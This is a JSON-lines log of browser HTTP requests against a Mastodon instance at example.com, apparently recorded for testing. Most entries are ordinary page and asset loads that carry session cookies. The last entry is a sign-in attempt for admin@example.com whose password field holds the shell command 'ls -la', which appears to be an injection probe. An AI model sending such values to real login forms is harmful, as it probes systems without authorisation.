{"method": "GET", "target": "/directory", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/collection_preview_card-DpSW2KW7.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/skip_links-BaPrB3L_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/block-Dj44I8vY.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/directory?order=active&local=true&limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/privacy-policy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/dist-CIbpS4C0.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/store-Dt6FPjVX.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/more_horiz-Cw-tO3hE.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/roboto-medium-webfont-BrZc3cua.woff2", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/packs/assets/themes/default-DkDM-a1D.css", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance/privacy_policy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=l4Lwoj0nimDxQwHldqeE%2BPPAw3285xl9sBYXqM%2FdWW3TqvOvgSpLSbVO5qu1hHU6w8EWpBX1T40XffQeFH8QRAzeQkJYypURndjIE%2FKYs4zwmnD4mfqNWFiJl4VlhV%2Bdo4E6%2FNqzrZnyHiib1hgq2wNW5wo3YlOkPEBZ5JNuuWBWjLysghvHBXwY2Y9bgIQYyAb6RmygeUWGBoPpvotNU4ufoXtZkmyVUNY2OLXyNE9N4wp81SdsipS7FbLDurlgm%2B7nr4NtPm6BJSTwdqKFDsF1gDDxwN%2Bb39LZbY0rNJDfqEXNSjBQALON8ftB15l5xM69Zei9YQa8MdKhi2hKIe3KFFzCEjWv%2B%2BbSRgS8ej2ZjEnpp3a6hD3OFruKg9Pe6DYQGjgR%2FlxxDU186KvssSja5o7DGcY7Vxq10%2F2rmIEnQh7bAFJOU0Nc1LCYz0s4TIUxzpB%2Bo3Nk--JfoicU1CsbrXhd%2BK--sbY69PRXh2DQ6wrhk7eIgA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/password/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=T6vV7m4VPpBCRmR4Kxf0H58KC2eM0qu3kr%2FtUtM78EUir2IestUb%2FO%2BDwaeTFuiATNySVGyutbCVsp%2BKuQ95gdytF17HvdTKFFif7GVtQs3dnm7oTgk6AR56VYkQ71Cs90%2BI5IHn8uw5ok900QnVVvlaZ5hPmKD9LoMZTEw34EFG0Rog%2FAPV7Dg7nVndfuT8yRVDdJHLCc%2Fu3aqf%2FtBdC85IOGhqJFEPnSvGigLRkT0pvdDXPUWu4NOqYTPDu9gauO0bbgCSOc5ABSCKoOlR3G%2FE%2BizOM1lG2Q%3D%3D--MtDgty1ilcIMYJDP--Aje3yrIKjiRXza5GKGrbFA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/polyfills-BO_K2Jdc.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=doiWTsU%2BWmteBUgyFach0d%2F%2FosVY1iKW9qPdmfoLpnkCsuP8cbv0VhG%2F%2FqS6%2BfRnbWb033MK4f6zM%2Fr2krYJbozh%2F1OF9mcknLo%2B9e0qzy4WqjG3KLOUOqbFks%2BqqJu6kQ6ajE4WGfHZr%2BZwy42lRexAwTrGBfqM5NvvrtAHvF99JTU39AwUV1JlKhGPyEtXXA7bHquAlXvfu%2BGCDFCNpD7yV5feUAsCNBrL4R0W0%2F6YGqNFYnqO2NJn%2FX0dbjvokhLfoFrqoLu3nyJxgIIvZxNAS1KtFUc7og%3D%3D--YTkrCgF%2FZl0VxP5R--polL48RPoDkZ%2Bgs%2ByOaRuw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/search", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=doiWTsU%2BWmteBUgyFach0d%2F%2FosVY1iKW9qPdmfoLpnkCsuP8cbv0VhG%2F%2FqS6%2BfRnbWb033MK4f6zM%2Fr2krYJbozh%2F1OF9mcknLo%2B9e0qzy4WqjG3KLOUOqbFks%2BqqJu6kQ6ajE4WGfHZr%2BZwy42lRexAwTrGBfqM5NvvrtAHvF99JTU39AwUV1JlKhGPyEtXXA7bHquAlXvfu%2BGCDFCNpD7yV5feUAsCNBrL4R0W0%2F6YGqNFYnqO2NJn%2FX0dbjvokhLfoFrqoLu3nyJxgIIvZxNAS1KtFUc7og%3D%3D--YTkrCgF%2FZl0VxP5R--polL48RPoDkZ%2Bgs%2ByOaRuw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/intl/en-DcquEjBE.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/helmet-C5cFHKKR.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/permissions-Dkwe-SYl.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/form_field_wrapper-B00MNsQd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/@admin/with_replies", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=42mL10PkAX9XYgEBGPPfjNKIRbIpiy84ppa4Y5EYeCOTdKQJZfMXE0pzAJh5wERGUFJDOokmvWRwIDhjB4b7gKGvItBtC0ucnTwN5Ii6EAbONS23cGmAK7ONtvdxdAmbSujdm7mJk9yHYSf39CruUIJ0xhGjp7arrN60QCMXklXo4QQBWuIh52qSMhon62xFCaxx1B4bHO9IELRw7EqZ877rzLi%2FYTGTPsVxqb3zNBS5FPLo%2F5h4tz%2B1Bjz1vA2CYsN2kO2E5Du%2Fy44nN2a24%2FElemcLwkEVsA%3D%3D--jb3fXA9OhA%2BumZe4--RuKLyPXQt17IKgB6c%2B6bhA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/oops.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/@admin/with_replies", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P99A4aWKLH4s0GL46qk8Hl%2BUpnDukJ6bw1DpAbDHV67zkcBmXsqzWS1GJBwfCtYQaVLBgtzvamWzuyYpZLrzEjbEvbCDiW77AslmOj%2BQiyXE3xtnF%2BYvRbF3wHp1RBBEvWQ3B19O3%2B6DInK6O2WRICL6lET45EBlMrYFBBknMKwl1KHoo%2BKheo4TUqfZewvKqPqRZFjsBzFh6l7U4VZsBb4RELtl8Dk8leNd%2F0vCboT6UOWGYvCyb8brQBMizsjJrpa8ZEKz0XWrntRYxzvLjI1M2o%2BRugTi8Q%3D%3D--kZdT4xbuOxBTkQzT--Z4RpSlVplsEmtgrsU0RJow%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P99A4aWKLH4s0GL46qk8Hl%2BUpnDukJ6bw1DpAbDHV67zkcBmXsqzWS1GJBwfCtYQaVLBgtzvamWzuyYpZLrzEjbEvbCDiW77AslmOj%2BQiyXE3xtnF%2BYvRbF3wHp1RBBEvWQ3B19O3%2B6DInK6O2WRICL6lET45EBlMrYFBBknMKwl1KHoo%2BKheo4TUqfZewvKqPqRZFjsBzFh6l7U4VZsBb4RELtl8Dk8leNd%2F0vCboT6UOWGYvCyb8brQBMizsjJrpa8ZEKz0XWrntRYxzvLjI1M2o%2BRugTi8Q%3D%3D--kZdT4xbuOxBTkQzT--Z4RpSlVplsEmtgrsU0RJow%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/_rolldown_dynamic_import_helper-CIAwlR2T.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=sPgL3ou8sthfWEkwqZ65YZy9V2B1tZu9TNRUYO%2Bp07ZVlTIyhmzZcePoFdN8IzhCysqLk0t27cqDPQH%2F7DNSQIJgYTRo67X3pMWZ4oThGw8f8eOYrCpWWjkPaXIQM18CQx4%2Ba%2FrpWyr2FvWUbkRRTOLQlWU%2FPah9dAQxZdWMDaP7ELjRdmf3EBp%2FQ3xcYJD6maSbMzB59bBAcDwNQ9jistbiipsOPSRrUsXmvVcwvVjuowPUUEGVsuAufTe%2BVDvvM7QBf8mUxTTpsyB7mX4mJAtQwkvS9e8Ksw%3D%3D--mWr3qElxhcNX%2BK3s--L5GjqJgw3Kt0CYbhkSAzeQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 181", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=sPgL3ou8sthfWEkwqZ65YZy9V2B1tZu9TNRUYO%2Bp07ZVlTIyhmzZcePoFdN8IzhCysqLk0t27cqDPQH%2F7DNSQIJgYTRo67X3pMWZ4oThGw8f8eOYrCpWWjkPaXIQM18CQx4%2Ba%2FrpWyr2FvWUbkRRTOLQlWU%2FPah9dAQxZdWMDaP7ELjRdmf3EBp%2FQ3xcYJD6maSbMzB59bBAcDwNQ9jistbiipsOPSRrUsXmvVcwvVjuowPUUEGVsuAufTe%2BVDvvM7QBf8mUxTTpsyB7mX4mJAtQwkvS9e8Ksw%3D%3D--mWr3qElxhcNX%2BK3s--L5GjqJgw3Kt0CYbhkSAzeQ%3D%3D"], "body": "authenticity_token=YBiFBdF-3jG5EOxhF1sjYGzUdBCTXEROhQPe4y5bBFWERvd8gQqxhguAlHAJuI_W98DnScSrzETt5jvr_ajjBA&user%5Bemail%5D=admin%40example.com&user%5Bpassword%5D=wrong+ls+-la&button="}
|
||||||
|
